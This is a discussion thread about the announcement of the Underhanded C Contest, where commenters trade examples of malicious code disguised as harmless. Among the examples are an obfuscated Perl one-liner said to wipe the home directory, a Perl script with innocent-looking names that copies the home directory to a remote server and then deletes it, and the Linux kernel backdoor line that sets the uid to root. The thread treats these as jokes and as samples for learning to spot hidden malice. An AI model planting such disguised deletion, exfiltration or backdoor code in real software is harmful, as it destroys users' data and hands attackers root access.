The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

Comments

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[account_deleted]

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like this?

[LiquidCoooled]

#include stuff.h
void main()
{
/* nothing / */ /* to see / * here */
/* whats * / challenging / * about */
/* this */ /* there / is no */ evil /*
screensaver(); * function */ /* here
anyone that thinks there is * / needs */
/* their / * / eyes testing */ ();
}

585

Here you go

[titzandkunt]

Just tuck it away in a commonly used header file, use touch to restore the last date/time of modification, and you're all set.

#define void int

Hours & hours of irritation & confusion!

T&K.

Re:What are the legal ramifications of this?

[bighoov]

Can you even breathe in that tinfoil cocoon?

Re:Seems a bit like those hacking contests

[numbski]

This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'

Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

I mean I could do something like this:

# When do you want it done?
$today="sudo";
$yesterday="su -c";

# Define our globals
$superman="ls";
$wonderwoman="rm"
$batm an="cp";
$aquaman="mv";

#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
$defeats="-s";

#define some targets
$your_mom="/";
$your_dad="/usr";
$your_ sister="~";
$your_teacher="/bin";
$hell="/dev/nu ll";
$heaven="/dev/random";
$skyhigh="nfs://myse rver/myhome";

#....later, back at Superfriends Headquarters

`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";

The superfriends save the day again.

Re:Why?

[Nf1nk]

To find subtley malicous code in an open source project, we first must know what it looks like. Having contests like these creates a sample base of dangerous code and clever tricks to read and learn from.
It is sort of like the computer version of a bomb squad.

Subtlety

[Dirtside]

The prize is beer.

...but the beer is poisoned!

how's this?

[spongman]

int main () { WinExec ("iexplore.exe"); }

Linux Kernel Backdoor Attempt

[Johnny Hardcore]

This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

The attempt was trying to insert

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).